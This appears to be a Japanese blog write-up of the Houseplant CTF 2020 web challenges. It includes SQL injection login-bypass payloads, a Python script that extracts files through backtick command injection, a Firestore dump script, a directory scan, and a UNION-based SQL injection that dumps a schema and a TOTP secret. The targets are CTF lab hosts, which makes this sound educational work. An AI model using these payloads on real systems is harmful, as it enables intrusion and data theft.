はまやんはまやんはまやん

hamayanhamayan's blog

Houseplant CTF 2020 Web 全解説

CTFtime.org / Houseplant CTF 2020

I don't like needles

They make me SQueaL!
http://challs.houseplant.riceteacatpanda.wtf:30001
Dev: Tom

ソースコード中に?sauceという意味深な文字列がある。
これを入力すると、ソースコードが出てくる。

<?php

    if ($_SERVER['REQUEST_METHOD'] == "POST") {

        require("config.php");

        if (isset($_POST["username"]) && isset($_POST["password"])) {

            $username = $_POST["username"];
            $password = $_POST["password"];

            if (strpos($password, "1") !== false) {
                echo "<p style='color: red;'>Auth fail :(</p>";
            } else {

                $connection = new mysqli($SQL_HOST, $SQL_USER, $SQL_PASS, $SQL_DB);
                $result = mysqli_query($connection, "SELECT * FROM users WHERE username='" . $username . "' AND password='" . $password . "'", MYSQLI_STORE_RESULT);

                if ($result === false) {
                    echo "<p style='color: red;'>I don't know what you did but it wasn't good.</p>";
                } else {
                    if ($result->num_rows != 0) {
                        if (mysqli_fetch_array($result, MYSQLI_ASSOC)["username"] == "flagman69") {
                            echo "<p style='color: green;'>" . $FLAG . " :o</p>";
                        } else {
                            echo "<p style='color: green;'>Logged in :)</p>";
                        }
                    } else {
                        echo "<p style='color: red;'>Auth fail :(</p>";
                    }
                }

            }
        }
    }

?>

この辺をみると、ログインユーザーはflagman69を選べばいいみたいだ。
passwordについては、直接SQL分に入れられているが、1を含むとなぜかリジェクトされる。
以下コードを

username: flagman69
password: ' OR 0 = 0#

これでやるとLogged in!しかでない。
おそらく、複数ユーザーがいて、先頭のユーザーはflagman69ではないのだろう。
2番目を取ろうとして、OFFSET 1を考えるが、そうか、これは使えないのか。
わざわざふさいでくるところを見ると、2番目にflagman69があるのは間違いないのだろう。

では全部出てくるのはやめてpasswordの比較部分を恒真になるようにしよう。

password: '=0#

これをいれる。すると、password=''=0となる。
暗黙の型変換が働き、この部分は恒真となる。
全部数値に変換されて、文字列は全部0になって恒真となる。
これでフラグが出てくる。

f:id:hamayanhamayan:20200427205202p:plain

参考

QR Generator

I was playing around with some stuff on my computer and found out that you can generate QR codes! I tried to make an online QR code generator, but it seems that's not working like it should be. Would you mind taking a look?
http://challs.houseplant.riceteacatpanda.wtf:30004
Dev: jammy
Hint! For some reason, my website isn't too fond of backticks...

f:id:hamayanhamayan:20200427205212p:plain

適当に書くと、QRが出てくる。
このQRをデコードすると、fsafdであればfが復元される。
ソースコード<!-- TODO: Fix bug where the QR code only contains 1 character -->とあるように、最初の1文字だけでQRにされるようだ。
見ると、/qr?text=で渡しているみたい。
ペイロードが1文字だけなんだけど、不可能では?

--- ここで解説確認 ---

なるほどー!!
これ、どういう風にエスパーするとそういう考えに至るんだろう。
まずはいろいろQRコードを見れるようにtextに文字を入れたら帰ってくるQRコードを解析して、中身を表示するコードを作っておこう。

from pyzbar.pyzbar import decode
from PIL import Image
import urllib.parse
import urllib.request

def get(payload):
    payload = urllib.parse.quote(payload)
    url = "http://challs.houseplant.riceteacatpanda.wtf:30004/qr?text=`" + payload + "`"
    urllib.request.urlretrieve(url, "qr.jpg")
    return decode(Image.open("qr.jpg"))[0].data.decode()

QRコードを作っている部分に`ls`というのを渡してみる。

ls -> R

R?あ、そうか、最初の文字しか渡されないのか。
コマンドを工夫して、二文字目を出すようにしてみる。

ls | head -c 2 | tail -c 1 -> E

先頭から2文字をとって、末尾をとると、2文字目が得られる。
なるほど?

res = ""
for idx in range(40):
    res += get(f"ls | head -c {idx + 1} | tail -c 1")
print(res)

とすると、

README.md
app
flag.txt
node_modules
pack

flag.txtという意味深ファイルがありますねぇ…

res = ""
for idx in range(40):
    res += get(f"cat flag.txt | head -c {idx + 1} | tail -c 1")
print(res)

rtcp{fl4gz_1n_qr_c0d3s???_b1c3fea}でた!

参考

Selfhost all the things!

The amount of data that online services like Discord and Instagram collect on us is staggering, so I thought I'd selfhost a chat app!
http://challs.houseplant.riceteacatpanda.wtf:30005
The chat database is wiped every hour.
This app is called Mantle and is open source. You can find its GitHub repo at https://github.com/nektro/mantle.
Dev: Tom
Hint! discord more like flag

discordのアカウントで認証できるチャットサービス。
MantleというOSSを使って作成しているみたい。
入ると、他の参加者がXSS合戦を繰り広げている。怖い。

--- ここで解説確認 ---

スーパーエスパー問題だったみたい。

f:id:hamayanhamayan:20200427205225p:plain

このようにdiscordを認証元として使用できる。
burpを使って、リクエスト先を見てみると、/login?with=discordというリクエストになっているみたい。
これを/login?with=flagに変えるとリダイレクトが起こって、フラグが書かれたサイトに飛ぶ。

f:id:hamayanhamayan:20200427205235p:plain

参考

Fire/place

You see, I built a nice fire/place for us to all huddle around. It's completely decentralized, and we can all share stuff in it for fun!!
Dev: Jess
Hint! I wonder... what's inside the HTML page?

ソースコードを見ると、firebaseのfilestoreを使っている。
アクセスするためのconfigはすべて得ているので、自由にフォルダを取得・更新できるようになっている。
[Firebase] Firestoreで読み書きする (Web編)
ここを参考に抜き出しコードを書いてみる。

var ref = db.collection("board").doc("data");
ref.get().then((doc)=>{
    if (doc.exists) {
        console.log( doc.data() );
    }
    else {
        console.log("404");
    }
})
.catch( (error) => {
    console.log(`データを取得できませんでした (${error})`);
});

rtcp{y0u_f0und_m3333}が出てくるが、これは違うらしい。
datadocではなく、flagdocを見ると、本当のフラグが書いてある。
荒れそう…

参考

Blog from the future

My friend Bob likes sockets so much, he made his own blog to talk about them. Can you check it out and make sure that it's secure like he assured me it is?
http://challs.houseplant.riceteacatpanda.wtf:30003
Dev: jammy

ブログみたいなサイト。
中身を見ると、WebSocketを使った通信で、画面を入れ替えている。
何から手を付ければいいの?
とりあえずdirbを使ってスキャニングする。

---- Scanning URL: http://challs.houseplant.riceteacatpanda.wtf:30003/ ----
+ http://challs.houseplant.riceteacatpanda.wtf:30003/admin (CODE:200|SIZE:779)
+ http://challs.houseplant.riceteacatpanda.wtf:30003/Admin (CODE:200|SIZE:779)
+ http://challs.houseplant.riceteacatpanda.wtf:30003/ADMIN (CODE:200|SIZE:779)
+ http://challs.houseplant.riceteacatpanda.wtf:30003/img (CODE:301|SIZE:173)
+ http://challs.houseplant.riceteacatpanda.wtf:30003/js (CODE:301|SIZE:171)
+ http://challs.houseplant.riceteacatpanda.wtf:30003/robots.txt (CODE:200|SIZE:31)
+ http://challs.houseplant.riceteacatpanda.wtf:30003/stylesheets (CODE:301|SIZE:189)

/adminが見つかるので行ってみる。

f:id:hamayanhamayan:20200427205249p:plain

特に何もない。
ソースコードを見ると、

<!-- I've replaced the password with a one-time TOTP token, but the evil hackers don't need to know that... >:)
<input type="password" name="totp" placeholder="One-time TOTP token" /> -->

TOTPを導入予定らしい。
いや、もうリプレースしていると書いてあるな。
どこかから、TOTPトークンをとってくる必要がありそうだ。

根性で解析する

最初のページに戻ろう。
今時っぽく動的に遷移される。jsでやっているのだろう。
javascriptをうまく解析する方法がある。
Chromeのローカルオーバーライドをうまく使うと、解析しやすい。
ブログの記事を持ってきている部分があるはずだ。それを特定しよう。

どういう検索ワードで持ってくるかわからないが、decryptとかで検索するのがいいだろうか?
jsでやってるなら通信は暗号化しないと丸見えだし、妥当な検索ワードかもしれない。

f:id:hamayanhamayan:20200427205259p:plain

こんな感じにconsole.logを挟むと、色々出てくる。
画像にもあるが、!isNaNのところへは、window.location.hash.substrなので、#1とかを付ければ入る。
/#1にアクセスすると、return r.send(o.encode(["getPost", 1]));のようにリクエストされる。
1の部分はインジェクションできるのでは?

SQL Injection

色々入れてみると、PostgreSQLであることが分かる。
テーブル情報を抜き出してみよう。
1 OR 2=2 UNION SELECT group_concat(sql),0,0,0,0,0 FROM sqlite_master;--
->

CREATE TABLE sqlite_sequence(name,seq),CREATE TABLE "users" (
    "id"    INTEGER PRIMARY KEY AUTOINCREMENT,
    "username"  TEXT NOT NULL,
    "totp_key"  TEXT NOT NULL
),CREATE TABLE "posts" (
    "id"    INTEGER PRIMARY KEY AUTOINCREMENT,
    "title" TEXT NOT NULL,
    "author"    INTEGER NOT NULL,
    "text"  TEXT NOT NULL,
    "postDate"  INTEGER NOT NULL,
    "hidden"    INTEGER DEFAULT 0
)

どこぞで見たtotp_keyというのがある。
とりあえず、usersの中身を見てみる。

f:id:hamayanhamayan:20200427205309p:plain

色々出てくる。
adminであるbobのTOTPキーが得られる。IE3V2RR4HRLUEOBDLVCWCQTYF5LT6RTCONNDMULGGJGS4STUMYWA
TOTP Generator
このサイトを使って、TOTPの秘密鍵からワンタイムパスワードを作る。
あとは、/adminに戻って、totpのinputのコメントアウトを外して、username:bob, totpにトークンを入れると答えが出てくる。

参考